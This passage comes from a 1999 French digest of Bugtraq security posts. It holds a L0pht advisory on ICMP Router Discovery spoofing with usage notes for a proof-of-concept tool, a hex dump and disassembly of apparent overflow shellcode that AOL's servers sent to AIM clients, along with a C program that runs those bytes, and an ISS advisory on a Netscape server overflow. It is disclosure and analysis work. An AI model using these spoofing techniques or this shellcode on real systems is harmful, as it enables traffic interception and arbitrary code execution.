most cable modem DHCP clients and large internal organizations are at risk. II. Risks --------- The ICMP Router Discovery Protocol does not have any form of authentication, making it impossible for end hosts to tell whether or not the information they receive is valid. Because of this, attackers can perform a number of attacks: Passive monitoring: In a switched environment, an attacker can use this to re-route the outbound traffic of vulnerable systems through them. This will allow them to monitor or record one side of the conversation. * For this to work, and attacker must be on the * same network as the victim. Man in the Middle: Taking the above attack to the next level, the attacker would also be able to modify any of the outgoing traffic or play man in the middle. By sitting in the middle, the attacker can act as a proxy between the victim and the end host. The victim, while thinking that they are connected directly to the end host, they are actually connected to the attacker, and the attacker is connected to the end host and is feeding the information through. If the connection is to a secure webserver that uses SSL, by sitting in the middle, the attacker would be able to intercept the traffic, unencrypted. A good example of this risk is on-line banking; an attacker playing man-in-the-middle would be able to intercept all of the banking information that is relayed, without the victim's knowledge. This is just a generic oversimplified scenario, there are obvious issues with certificates that the attacker would have to deal with if attempting this scenario. * For this to work, and attacker must be on the * same network as the victim. Denial of Service: Remote attackers can spoof these ICMP packets and remotely add bad default-route entries into a victims routing table. Because the victim's system would be forwarding the frames to the wrong address, it will be unable to reach other networks. Unfortunately, DHCP has quickly become popular and is relied upon in most companies. In some cases, such as cable & *DSL modems, users are required to use DHCP. Because of the large number of vulnerable systems, and the fact that this attack will penetrate firewalls that do not stop incoming ICMP packets, this Denial of Service attack can become quite severe. It should be noted that the above attacks are documented in Section 7, of RFC 1256. However, the RFC states states that the attacks are launched by an attacker on the same network as the victim. In the Denial of Service attack, this is not the case; an attacker can spoof IRDP packets and corrupt the routing tables on systems that are on remote networks. While these attacks are not new, the fact that Windows95/98 DHCP clients have been vulnerable for years, is. On systems running SunOS & Solaris, it is easy to find documentation on IRDP by looking at the startup scripts or manpages. On Windows95/98, however, information has only become recently available in the Knowledge Bank. III. Technical Details ---------------------- Upon startup, a system running MS Windows95/98 will always send 3 ICMP Router Solicitation packets to the 224.0.0.2 multicast address. If the machine is NOT configured as a DHCP client, it ignores any Router Advertisements sent back to the host. However, if the Windows machine is configured as a DHCP client, any Router Advertisements sent to the machine will be accepted and processed. Once an Advertisement is received, Windows checks to see how many Gateway entries the packet contains. If the packet contains only 1 entry, it checks to make sure the IP source address of the Advertisement is inside the hosts subnet. If it is, the Router Address entry inside the advertisement is checked to see that it is also within the host's subnet. If so, a new default route entry is added. If the address is outside the subnet, it the advertisement is silently ignored. If a host receives a Router Advertisment that contains 2 or more Router Addresses, the host will processes the packet even though the IP source address is not local. If the host finds a Router Address inside the advertisement that is inside the host's subnet, it will add a default route entry for it. Because the host does not care about the IP source address of the Advertisement as long as it has more than one entry, attackers can now create bogus IRDP packets that will bypass anti-spoofing filters. Before the host can add a new default route entry, it has to determine the route metric. On Windows95/98, normal default route entries obtained from a DHCP server have a metric of 1. In order to determine the metric for the default route entry obtained via IRDP, the Windows host subtracts the Advertisement's Preference value from 1000. By creating an ICMP Router Advertisement with a preference of 1000, the default gateway route added will have a metric of 0, making it the preferred default route. By adjusting the Lifetime value in the advertisement, an attacker can adjust how many seconds the gateways are valid for. DHCP Vendor Option #31, "Perform Router Discovery" has no effect on disabling this. If you configure your DHCP server to implicitly disable Router Discovery, the vulnerable Window95/98 hosts will ignore this, and continue to update their routing tables with information gleemed via IRDP. IV. Fixes / Work-arounds ------------------------ Firewall / Routers: Block all ICMP Type 9 & Type 10 packets. This should protect against remote Denial of Service attacks. Windows95/98: The Microsoft Knowledge Base contains an article that gives info on how to disable IRDP. It can be found at: http://support.microsoft.com/support/kb/articles/q216/1/41.asp Brief Summary of article: IRDP can be disabled manually by adding "PerformRouterDiscovery" value name and setting it to a dword value of 0, under the following registry key(s): HKLM\System\CurrentControlSet\Services\Class\NetTrans\#### Where #### is the binding for TCP/IP. More than one TCP/IP binding may exist. Solaris: Configure your host to obtain a default gateway through DHCP, static routes, or via the /etc/defaultrouter file. For more information on IRDP refer to in.rdisc's man-page. V. Detection ------------- L0pht has released a NFR Intrusion Detection Module to detect both Router Solicitations and Advertisements. You can find it at: http://www.l0pht.com/NFR NFR information can be found at http://www.nfr.net VI. Source Code ----------- L0pht is making available Proof-of-Concept code that will let individuals test their systems & firewalls. The source code can be found at: http://www.l0pht.com/advisories/rdp.tar.gz Usage is fairly straight forward: Usage: rdp -v -l -s -d -p -t -i -S -D -R -r -v verbose -l listen mode -s send mode -d -n -I -p -t -i -S -D -R -r Misc software notes: Listen Mode: Software listens for ICMP Router Solicitations. If the '-s' flag is specified as well, the software will answer the Solicitations with ICMP Router Advertisements. Preference: If the preference is not specified, it will use a default of 1000, which will give the default route a metric of 0 on affected Windows systems. 2nd Router Addr: By using the '-r' flag and specifying a second router address entry, the packet can contain a bogus source address and still be processed for correct gateway entries by the end host. ================================================= 4.8-:L0pht ICMP Router Discovery Advisory (End) : _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 4.9-: AOL Buffer Overflow??? (begin) : ====================================== /* Possible Buffer Overflow in AOL Instant Messenger ------------------------------------------------------------ Robert Graham http://www.robertgraham.com/pubs/aol-exploit/ It appears to me that AOL might be running a buffer-overflow exploit against their own clients. BEFORE DOING ANYTHING ELSE: log onto AOL Instant Messaging and take a trace of it with NetMon/tcpdump/Sniffer/etc. If this is really happening, then AOL will likely fix it soon. DETAILS ------------------------------------------------------------ Last friday I read the following in the NYTimes: http://www.nytimes.com/library/tech/99/08/biztech/articles/13soft.html This story brings up the implication that America Online might be running a "buffer-overflow exploit" on in its own users. They have already made 13 changes to their server code in the past few weeks in order to stop Microsoft's clones from working, so this may be yet another attempt. According to whay I see, it appears to me that this implication is correct. I see something that looks a lot like a buffer overflow exploit when sniffing the connection between the client and AOL's servers. You can reproduce this yourself: 1. log onto AOL Instant Messenger with the latest client that comes with Communicator version WIN32 2.0.912, aka 2.0N. (Click on [File/Help/Report a bug] to get the real version). 2. take a packet trace of the login procedures (I use NetMon). 3. look for the frame that I describe below. 4. copy/paste the frame data into the C program as I demonstrate below. 5. step through the code in the debugger and disassemble it THE PACKET ------------------------------------------------------------ AOL has removed their documentation from the Internet recently. I had to download the GAIM (AIM client for Linux) source code to figure things out. A TCP connection is used. The format for each request/response in the login process is: byte[0] = 0x2a byte[1] = 0x02 (type = 2 =login) byte[2-3] = sequence number byte[4-5] = length byte[6-7] = type byte[8-9] = subtype However, multiple requests/responses can be queued into a single packet. Following is the entire TCP packet I received from the AOL server to my client: 00000000 00 00 BA 5E BA 11 00 A0 C9 B0 5E BD 08 00 45 00 ...^......^...E. 00000010 01 90 35 2A 40 00 7F 06 AF 73 0A 00 00 02 0A 00 ..5*@...s...... 00000020 01 C9 04 38 0D 7F 25 F8 E3 A3 0C 19 A5 14 50 18 ...8.%.......P. 00000030 6E B5 4C E2 00 00/2A 02 31 F8 00 0C 00 0B 00 02 n.L...*.1....... 00000040 00 00 80 A2 F1 D5 04 B0/2A 02 31 F9 01 28 00 01 ........*.1..(.. 00000050 00 13 00 00 80 A2 F1 D6 00 FF 00 0B 01 18*83*C4 ................ 00000060 10 4F 8D 94 24 E4 FE FF FF 8B EC 03 AA F8 00 00 .O..$........... 00000070 00 90 90 90 90 8B 82 F0 00 00 00 8B 00 89 82 4E ...............N 00000080 00 00 00 8B 4D 04 03 8A F4 00 00 00 8D 82 42 00 ....M.........B. 00000090 00 00 89 45 10 B8 10 00 00 00 89 45 0C C9 FF E1 ...E.......E.... 000000A0 00 01 00 20 00 00 00 00 00 00 00 04 00 00 00 00 ................ 000000B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 10 ................ 00000150 08 11 29 EC FF FF 44 00 00 00 00 00 00 00 FF 00 ..)...D......... 00000160 00 00 08 01 00 00 00 00 00 00 90 47 40 00 F8*E9*...........G@... 00000170 EA FE FF FF 00 00/2A 02 31 FA 00 22 00 01 00 13 ......*.1..".... 00000180 00 00 80 A2 F1 D7 00 04 00 0B 00 12 68 74 74 70 ............http 00000190 3A 2F 2F 77 77 77 2E 61 6F 6C 2E 63 6F 6D ://www.aol.com There are three AIM segments in this packet, which I've marked with slashes in the above decode. (Remember that TCP is a stream based protocol, so application protocols have to figure out their own boundaries, and you often see multiple segments in a single TCP packet). The second segment is of interest here, as marked by the slashes. It seems like the first byte of the embedded code starts at the byte with the value 0x83 at offset 0x53 However, this isn't the buffer overflow, but the start of the buffer itself. Immediately proceeding this is what appears to be a length field. I'm thinking they only allow for a max length of 256 (0x100), but the length field has an extra 0x18 bytes. So if we go 256 bytes into the buffer, we get some more stuff that looks like code. I haven't analyzed all this stuff, but it appears that at the end of the overflow section, it jumps back to the start of the buffer that contains the code of the exploit. [You only get so much wriggle room where you overflow, because the more you overflow, the more of the stack you overwrite; so the overflowed section has to be as small as possible, and jump backwards to actually run something]. THE DECODE ------------------------------------------------------------ In this section, I have done a decode of all the bytes in the segment. To the left are the original bytes, to the right is either the protocol interpretation or the disassembled output. These bytes are in the same order as in the original packet. 2A 02 parse of logon sequence 31 F9 sequence number 01 28 length of this segment 00 01 00 13 type/subtype field of this packet 00 00 80 A2 F1 D6 00 FF 00 0B unknown data 01 18 length of data field 83 C4 10 add esp,10h 4F dec edi 8D 94 24 E4 FE FF FF lea edx,dword ptr [esp-11Ch] 8B EC mov ebp,esp 03 AA F8 00 00 00 add ebp,dword ptr [edx+0F8h] 90 nop 90 nop 90 nop 90 nop 8B 82 F0 00 00 00 mov eax,dword ptr [edx+0F0h] 8B 00 mov eax,dword ptr [eax] 89 82 4E 00 00 00 mov dword ptr [edx+4Eh],eax 8B 4D 04 mov ecx,dword ptr [ebp+4] 03 8A F4 00 00 00 add ecx,dword ptr [edx+0F4h] 8D 82 42 00 00 00 lea eax,dword ptr [edx+42h] 89 45 10 mov dword ptr [ebp+10h],eax B8 10 00 00 00 mov eax,10h 89 45 0C mov dword ptr [ebp+0Ch],eax C9 leave FF E1 jmp ecx 00 01 00 20 00 00 00 00 00 00 00 04 00 00 00 00 filler 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 block 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 that 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 doesn't 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 mean 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 much 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 10 start of 08 11 29 EC FF FF 44 00 00 00 00 00 00 00 FF 00 overflow 00 00 08 01 00 00 00 00 00 00 90 47 40 00 jump address? F8 unknown E9 EA FE FF FF jmp back_to_start_of_buffer 00 00 You'll notice that there appears to be other code that I haven't disassembled. I would have to second-guess the original source, and I don't quite feel like it. How to disassemble this? The easiest way is simply to paste the data bytes into a program and RUN the code. In theory, you could create a sample program that would actually run this code completely without crashing but that would take A LOT of effort. THE CODE TO TEST IT ------------------------------------------------------------ */ /* The data from the packet, starting at where I believe the data field * begins.*/ unsigned char packet[] = {0x83, 0xC4, 0x10, 0x4F, 0x8D, 0x94, 0x24, 0xE4, 0xFE, 0xFF, 0xFF, 0x8B, 0xEC, 0x03, 0xAA, 0xF8, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, 0x8B, 0x82, 0xF0, 0x00, 0x00, 0x00, 0x8B, 0x00, 0x89, 0x82, 0x4E, 0x00, 0x00, 0x00, 0x8B, 0x4D, 0x04, 0x03, 0x8A, 0xF4, 0x00, 0x00, 0x00, 0x8D, 0x82, 0x42, 0x00, 0x00, 0x00, 0x89, 0x45, 0x10, 0xB8, 0x10, 0x00, 0x00, 0x00, 0x89, 0x45, 0x0C, 0xC9, 0xFF, 0xE1, 0x00, 0x01, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x19, 0x10, 0x08, 0x11, 0x29, 0xEC, 0xFF, 0xFF, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x47, 0x40, 0x00, 0xF8, 0xE9, 0xEA, 0xFE, 0xFF, 0xFF, 0x00, 0x00, 0x2A, 0x02, 0x31, 0xFA, 0x00, 0x22, 0x00, 0x01, 0x00, 0x13, 0x00, 0x00, 0x80, 0xA2, 0xF1, 0xD7, 0x00, 0x04, 0x00, 0x0B, 0x00, 0x12, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x61, 0x6F, 0x6C, 0x2E, 0x63, 0x6F, 0x6D}; /* Function point that will point to the buffer above */ void (*foo)(); int main() { /* Set to the point where it overflows (256-characters in), * then add an offset to the jmp instruction that jumps back * to the begining */ foo = packet+256+0x11; /* In MS DevStudio, put a break point here, and then turn on * disassembly mode [View/Debug Windows/Disassembly]. This will * allow you to single step each assembly intruction, and will * disassemble them for you. Also, turn on view of the original * bytes by righ-hand-mouse-clicking on the disassembly and * selecting [Code Bytes]. */ foo(); return 0; } ================================== 4.9-: AOL Buffer Overflow??? (End) _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 1.25-:Update on the AOL buffer overflow exploit (begin) ======================================================= Hello, I wanted to give an update on the buffer overflow error in the AOL Instant Messenger client software that Robert Graham reported to BugTraq last week. Apparently AOL is using this buffer overflow error to determine if someone is running the AOL client software versus the Microsoft MSN Messenger client software. MSN Messenger users are then refused service on the AOL system. The buffer error is used as follows. During the AIM logon sequence, the AOL servers now send down a packet to a client machine with about 40 bytes of x86 code in it. This code gets executed by the client because the packet also exercises the buffer overflow bug. The downloaded code causes the client to send back a secret response to the AOL servers. If the servers don't see this response, they then bounce the user under the assumption the client software must be MSN Messenger. It only took Microsoft a few days to see what was going on and they have updated the MSN Messenger client software to recognize the special packet and response in the same manner as the AOL client. However, MSN isn't using a buffer overflow error to make this happen. Presumably with this buffer overflow error, AOL can download new x86 code in the future which generates different responses from the client. If this way, the can constantly stay a few days ahead of Microsoft in this game of "spy-vs-spy". Geoff Chappell has a done a detailed analysis of the AIM IM code and has located the actual bug. His write-up on the bug can be found at these two URLs: http://www.ozemail.com.au/~geoffch/security/aim/ http://www.ozemail.com.au/~geoffch/security/aim/preliminary.htm He also provides details on how the special AOL packet is executed by this buffer overflow error. On the AOL side of things, they continue to publicly deny anything is amiss here. In press articles they either claim there is no buffer overflow error in the client software or that they are not doing anything to compromise the security of their AIM customers. I respectively disagree. Buffer overflow exploits are very difficult to get right and small slip-ups can cause computers to crash. If AOL continues to play this game, they risk crashing customers PCs on a large scale down the road as they change the code which is executed by the client. It also makes me personally very queasy to know that there is network software on my computer that allows outsiders to silently download and run code. Buffer overflow errors should be fixed, not used! (As an aside, does anyone know of a previous case in which a computer vendor ever used a buffer overflow before? AOL actions here might be a first.) On the Microsoft side of things there is a bit of news also. This AOL buffer overflow story began two weeks ago when I received a message from a person claiming to be "Phil Bucking" from "Bucking Consulting". The message was sent via Yahoo Email and detailed what AOL was up to. "Phil" claimed he found out what is going on because he is also writing IM client. What "Phil" didn't realize is that Yahoo puts the originating IP address in the message headers. The IP address in his message traced back to a HTTP proxy server at Microsoft. This implied that the message came from inside of Microsoft. According to an article in InfoWorld on Friday, Microsoft has acknowledged that "Phil" is actually a Microsoft employee. Moral of the story: Don't use Web-based Email systems like Yahoo and Hotmail for anonymous Email! I am continuing to look at this issue myself. My AOL screen name is "buffover" if anyone wants to me add me to their buddy list. :-) I also very much would like to talk to a technical person at AOL about the exploit to hear their side of the story. Richard M. Smith ======================================================= 4.10-:Update on the AOL buffer overflow exploit (End) : _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 4.11-:ISS Security Advisory: Buffer Overflow in Netscape Enterprise and FastTrack Web Servers (begin) ==================================================================================================== -----BEGIN PGP SIGNED MESSAGE----- ISS Security Advisory August 25, 1999 Buffer Overflow in Netscape Enterprise and FastTrack Web Servers Synopsis: Internet Security Systems (ISS) X-Force has discovered a vulnerability in the Netscape Enterprise Server and Netscape FastTrack Server. Netscape produces web servers and web browsers for individuals, small workgroups, and business professionals. An attacker can send the web server an overly long HTTP GET request, overflowing a buffer in the Netscape httpd service and overwriting the process's stack. This allows a sophisticated attacker to force the machine to execute any program code that is sent. The ISS X-Force has demonstrated that it is possible to use this vulnerability to execute arbitrary code as SYSTEM on the server, giving an attacker full control of the machine. Affected Versions: This vulnerability was tested on Enterprise 3.6sp2 and FastTrack 3.01. Fix Information: Apply the Enterprise 3.6 SP 2 SSL Handshake fix, available from Netscape at: http://www.iplanet.com/downloads/patches/detail_12_86.html. Additional Information: To download the FlexCheck for this vulnerability for Internet Scanner 6.0, go to the following URL: http://download.iss.net/eval/ISNetscapeGetOverflowFlexCheck.exe Additional Information: Information in this advisory was obtained by the research of Caleb Sima of the ISS X-Force. ISS X-Force would like to thank Netscape Communications Corporation for their response and handling of this vulnerability. ________ About ISS: ISS is the pioneer and leading provider of adaptive network security software delivering enterprise-wide information protection solutions. ISS' award-winning SAFEsuite family of products enables information risk management within intranet, extranet and electronic commerce environments. By combining proactive vulnerability detection with real-time intrusion detection and response, ISS' adaptive security approach creates a flexible cycle of continuous security improvement, including security policy implementation and enforcement. ISS SAFEsuite solutions strengthen the security of existing systems and have dramatically improved the security posture for organizations worldwide, making ISS a trusted security advisor for firms in the Global 2000, 21 of the 25 largest U.S. commercial banks and over 35 governmental agencies. For more information, call ISS at 678-443-6000 or 800-776-2362 or visit the ISS Web site at www.iss.net. Copyright (c) 1999 by Internet Security Systems, Inc. Permission is hereby granted for the redistribution of this Alert electronically. It is not to be edited in any way without express consent of the X-Force. If you wish to reprint the whole or any part of this Alert in any other medium excluding electronic medium, please e-mail xforce@iss.net for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. X-Force PGP Key available at: http://xforce.iss.net/sensitive.php3 as well as on MIT's PGP key server and PGP.com's key server. Please send suggestions, updates, and comments to: X-Force xforce@iss.net of Internet Security Systems, Inc. -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: noconv iQCVAwUBN8QjJTRfJiV99eG9AQF3/gP/SjORxj7h3NEoRW5Zx2kTJ4fnGhNhcpUP 0Kgc8W5qAf0XL0vC2BORLtqkbFi33D7IccBDjpDOWK6S5JyoSanRZsBkrICqEJ7p oMhJdSs2UQotZmg2RujtiScYJXcH9mW235/ObhIBW72FLR6EiaQTyG3In824FJ0f vaOgGu7HkuE= =ddKF -----END PGP SIGNATURE----- ==================================================================================================== 4.11-:ISS Security Advisory: Buffer Overflow in Netscape Enterprise and FastTrack Web Servers (End) : _________________________________________________________________________________________________________ ..Conclusion.. En esperant que le trie que je vous ai fait vous interresse... Pour tout commentaire : tblackh@hotmail.com The blAck Hole... P.S : pour information, toutes les informations qui se trouvent ici on été tiré de différents news group et mailling list. J'en citerais particulièrement une : bugtraq... Vous pouvez vous y inscrire par web, mais à condition d'avoir beaucoup de sans froid et de patience : une semaine = 100 mails minimum, et pas toujours intérressant... _______________________________________________________________________________